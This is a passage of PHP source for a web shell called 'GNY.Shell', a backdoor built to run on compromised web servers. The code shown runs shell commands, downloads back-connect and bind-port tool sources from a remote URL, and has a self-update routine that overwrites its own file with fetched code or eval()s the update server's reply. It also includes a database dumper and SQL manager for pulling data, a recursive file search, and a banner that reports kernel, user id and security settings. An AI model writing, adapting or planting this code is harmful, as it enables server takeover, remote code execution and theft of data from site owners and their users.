elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists('tabsort')) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists('view_perms'))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists('getsource'))
{
function getsource($fn)
{
global $GNY_sourcesurl;
$array = array(
"GNY_bindport.pl" => "GNY_bindport_pl.txt",
"GNY_bindport.c" => "GNY_bindport_c.txt",
"GNY_backconn.pl" => "GNY_backconn_pl.txt",
"GNY_backconn.c" => "GNY_backconn_c.txt",
"GNY_datapipe.pl" => "GNY_datapipe_pl.txt",
"GNY_datapipe.c" => "GNY_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($GNY_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists('sh_getupdate'))
{
function sh_getupdate($update = TRUE)
{
$url = $GLOBALS["GNY_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."!";}
else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated successfully.";}
}
}
else {return "New version is available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "# MySQL Database Dump - GNY.Shell
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# Database: \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else
{
$row = mysql_fetch_row($res);
$out .= $row["1"].";\n\n";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------\n\n";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "<table border=0><tr><td><form name=\"GNY_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
if ($tbl_struct)
{
echo "<td valign=\"top\"><b>Fields:</b><br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.GNY_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
$query = trim($query);
$arr = explode (" ",$query);
/*array array()
{
"METHOD"=>array(output_type),
"METHOD1"...
...
}
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op]))
{
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == 'LIMIT')
{
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists('fsearch'))
{
function fsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != "." && $f != "..")
{
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {fsearch($d.$f);}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a["text"]))
{
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
else {$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == 'gofile') {if (is_dir($f)) {$act = 'ls'; $d = $f;} else {$act = 'f'; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function GNYexit()
{
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = TRUE;
$hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
// took the disabled functions from r57shell
?>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>GNY.Shel! Encoded v1.1 edited B.Y $c0rPi0n</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #0033FF; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #0033FF; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #0033FF; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0033FF; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #66DD11; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; TEXT-DECORATION: none;}A:hover { COLOR: #66DD11; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #0033FF; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #0033FF;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head>
<script language="Javascript">
<!--
function GetKeyCode(evt)
{
var charCode = (evt.which) ? evt.which : event.keyCode
// if not a digit or arrow key abort
if ( charCode == 92) {
alert(1);
}
}
//-->
</script>
<BODY OnKeyPress="GetKeyCode();" text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><center><font color="#0033FF"><pre> _____ _ ___ __ _____ _ _ _
/ ____| \ | \ \ / // ____| | | | |
| | __| \| |\ \_/ /| (___ | |__ ___| | |
| | |_ | . ` | \ / \___ \| '_ \ / _ \ | |
| |__| | |\ | | | _ ____) | | | | __/ | |
\_____|_| \_| |_|(_)_____/|_| |_|\___|_|_| {V1.1 edited by $c0rPi0n}</pre></font>
</center></th></tr><tr><td>
<table border=0 width=100%>
<tr><td colspan=2><center><b><?php echo $DISP_SERVER_SOFTWARE; ?></td></tr>
<tr><td><b>Kernel: <?php echo wordwrap(php_uname(),90,'<br>',1); if($win) echo ' ('.exec('ver').')'; ?></b></td><td align=right><b>Safe-Mode: <?php echo $hsafemode; ?></b></td></tr>
<tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else {echo 'Running As: '.get_current_user();} ?></b></td><td align=right><b>Disabled PHP Functions: <?php if(''==($df=@ini_get('disable_functions'))){echo '<font color=green>NONE</font></b>';}else{echo '<br><font color=red>'.str_replace(',', ', ', $df).'</font></b>';} ?></b><?php $curl_on = @function_exists('curl_version');
echo "<br/><b>cURL: ".(($curl_on)?("<font color=green>ON</font></b>"):("<font color=red>OFF</font></b>")); ?></td></tr>
<tr><td><?php
// ***
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath('.');} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
// ***
if (is_callable('disk_free_space'))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2);
echo '<b>Free '.view_size($free).' of '.view_size($total).' ('.$free_percent.'%)</b>';
}
echo '</td><td align=right><b>Server IP: <a href=http://whois.domaintools.com/'.gethostbyname($_SERVER["HTTP_HOST"]).'>'.gethostbyname($_SERVER["HTTP_HOST"]).'</a> - Your IP: <a href=http://whois.domaintools.com/'.$_SERVER["REMOTE_ADDR"].'>'.$_SERVER["REMOTE_ADDR"].'</a></b></td></tr>';
?>
</table>
<br>
<p align="left"><?php
// moved the dir stuff up above the disk free space so that it still gets the variables, even though it's being called before the echo current dir (put *** around it)
foreach($pd as $b)
{
$t = '';
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) {break;}
$j++;
}
echo '<a href="'.$surl.'act=ls&d='.urlencode($t).'&sort='.$sort.'"><b>'.htmlspecialchars($b).DIRECTORY_SEPARATOR.'</b></a>';
$i++;
}
echo '&nbsp;&nbsp;&nbsp;';
if (is_writable($d))
{
$wd = TRUE;
$wdt = "<font color=green>[ ok ]</font>";
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
$wd = FALSE;
$wdt = "<font color=red>[ Read-Only ]</font>";
echo '<b>'.view_perms_color($d).'</b>';
}
echo '<br>';
$letters = '';
if ($win)
{
$v = explode("\\",$d);
$v = $v[0];
foreach (range('a','z') as $letter)
{
$bool = $isdiskette = in_array($letter,$safemode_diskettes);
if (!$bool) {$bool = is_dir($letter.":\\");}
if ($bool)
{
$letters .= "<a href=\"".$surl."act=ls&d=".urlencode(strtoupper($letter).":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[";
if ($letter.":" != $v) {$letters .= strtoupper($letter);}
else {$letters .= '<font color=green>'.strtoupper($letter).'</font>';}
$letters .= ":]</a> ";
}
}
if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
foreach($quicklaunch as $item)
{
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
}
}
if (count($quicklaunch2) > 0)
{
echo '<br>';
foreach($quicklaunch2 as $item)
{
$item[1] = str_replace('%d',urlencode($d),$item[1]);
$item[1] = str_replace('%sort',$sort,$item[1]);
$v = realpath($d.'..');
if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
$item[1] = str_replace('%upd',urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
}
}
/*
echo '<form action=? method=POST>
<input type="hidden" name="act" value="proxy">
<input type=submit value=[Proxy]></form>';
echo '</p></td></tr></table><br>';
*/
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == '') {$act = $dspact = 'ls';}
if ($act == 'sql')
{
$sql_surl = $surl.'act=sql';
if ($sql_login) {$sql_surl .= '&sql_login='.htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= '&sql_passwd='.htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= '&sql_server='.htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= '&sql_port='.htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= '&sql_db='.htmlspecialchars($sql_db);}
$sql_surl .= "&";
?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
if ($sql_server)
{
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
}
else {$sql_sock = FALSE;}
echo "</center><br/><b>MySQL: ";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "<br/>MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?> </b>&nbsp;</p> <?php
echo '<center><b>SQL Manager:</b><br>';
if (!$sql_sock)
{
if (!$sql_server) {echo 'NO CONNECTION';}
else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
$sqlquicklaunch[] = array("Logout",$surl."act=sql");
echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
echo '</center>';
}
echo '</td></tr><tr>';
if (!$sql_sock) {?><td width=28% height=100 valign=top><li>If login is null, login is owner of process.<li>If host is null, host is localhost (default).<li>If port is null, port is 3306 (default).</td><td width=90% height=1 valign=top><TABLE height=1 cellSpacing=0 cellPadding=0 width=100% border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action="<?php echo $surl; ?>" method=POST><input type=hidden name="act" value="sql"><tr><td><input type=text name="sql_login" value="root" maxlength=64></td><td><input type=text name="sql_passwd" maxlength=64></td><td><input type=text name="sql_db" maxlength=64></td></tr><tr><td><b>Host</b></td><td><b>Port</b></td></tr><tr><td align=right><input type=text name="sql_server" value="localhost" maxlength=64></td><td><input type=text name="sql_port" value="3306" maxlength=6 size=3></td><td><input type=submit value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
else
{
//Start left panel
if (!empty($sql_db))
{
?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror();}
else
{
echo ".:[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]:.<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
if (!$c) {echo 'No tables found in database.';}
}
}
else
{
?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
